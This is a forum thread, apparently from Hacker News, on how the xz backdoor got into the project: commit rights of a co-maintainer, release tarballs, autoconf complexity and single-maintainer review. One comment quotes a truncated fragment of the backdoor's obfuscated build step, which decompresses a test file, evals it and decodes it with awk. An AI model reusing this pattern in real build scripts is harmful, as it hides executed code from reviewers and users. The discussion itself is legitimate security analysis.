8 ms·
How on earth did any of this make it through a code review and get merged in? It seems absurdly careless, unless I am missing something.
by Martinussen 3y ago
How on earth did any of this make it through a code review and get merged in? It seems absurdly careless, unless I am missing something.
- asveikau 3y agoThe commit messages for the test files claim they used an RNG to generate them. The guy making the release tarball then put the final line in the right place without checking it in.
- sgerenser 3y agoWhat is the reason distros are still building from release tarballs rather than a git checkout that can be verified against a public git repo?
- dvhh 3y agocode repository are not necessarily git based. Plus you would need to put the effort in monitoring the activity of the repository for changes. Until last month, would you refuse a tar package from the official maintainer, I wouldn't, especially when there was a mention of a bugfix that might have been tripping our build system For example nginx is using mercurial (with admittedly a github mirror for convenience), and a lot of OSS are still using subversion and CVS, and my guess is that there are some project which might run with less free source control software ( most likely for historical purpose, or use case that might be the strong point of that software). Other than that, why wouldn't the user be the one to build their own software package.
- asveikau 3y agoI think a lot of it is probably historical. When debian or red hat infrastructure came up there was no git; projects were still often in source control during development but tarballs were still the major distribution mechanism to normal people. Though before git they'd sometimes have packages that would be based on an SVN or cvs snapshot back in the day, in absence of releases. I believe what happens in debian is that they host their own mirror of source tarballs, since going to some random website or git repo means it could be taken down from under them. So I guess if the package is built straight from a repo they'd probably make a tarball of it anyway.
- xorcist 3y agoThere could potentially be many things you would not want to commit to git. Binary files and generated files come to mind. There could also be transformations of code for performance or portability reasons. Or ones that require huge third party dependencies that are only used to the build script. There are many potential reasons to publish a release tarball where some of these steps are already done. It could be done in a reproducible way. Look at sqlite for an example of an extremely well maintained open source library that publishes not one but two source code tarballs for various stages of the build. These calls to change source code distribution just because it was a small part of the attack vector in this particular case seems misguided to me. It may still be a good idea but only as part of a much larger effort for reproducible builds. In itself it would accomplish nothing, apart from a wake of uncertainty that would only make future attacks easier. Especially in this case, where the maintainer could have acted in a number of other ways, and indeed did. The entirety of the backdoor was added in a regular git commit a long time ago.
- plg94 3y agothe bad actor was a co-maintainer of the repo (and even more active than the original maintainer for quite some time) with full commit rights. This was strait committed to master, no PR and no review required. edit: also this was heavily obfuscated in some binary files that were marked as test files ("good" and "bad" xz compressed test file). No way to spot this if you don't know what you're looking for.
- SV_BubbleTime 3y agoIn addition… if your build system has things like this as OK: > xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j= You should probably expect the potential for abuse? We’re moving towards complexity that is outpacing human ability for any one person to understand, explain, and thus check an entire object. And for what? Build efficiency? Making a “trick” thing? When was the project ever going to go back and make things simpler? (Never)
- necubi 3y agoI’m not sure why you’d say that we’re “moving towards” this sort of build system complexity. This is 1990s autoconf bs that has not yet been excised from the Linux ecosystem. Every modern build system, even the really obtuse ones, are less insane than autoconf. And the original purpose of this was not for efficiency, but to support a huge variety of target OSes/distros/architectures, most of which are no longer used in any real capacity.
- ibotty 3y agoThis is not part of autotools output. This is part of the backdoor. Not arguing about autotools drawbacks though.
- SV_BubbleTime 3y ago> has not yet been excised from the Linux ecosystem That is my point. I should have written allows and not has.
- deleted 3y ago[deleted]
- ihsoy 3y agoThere are no code review on packets with 1 active maintainer.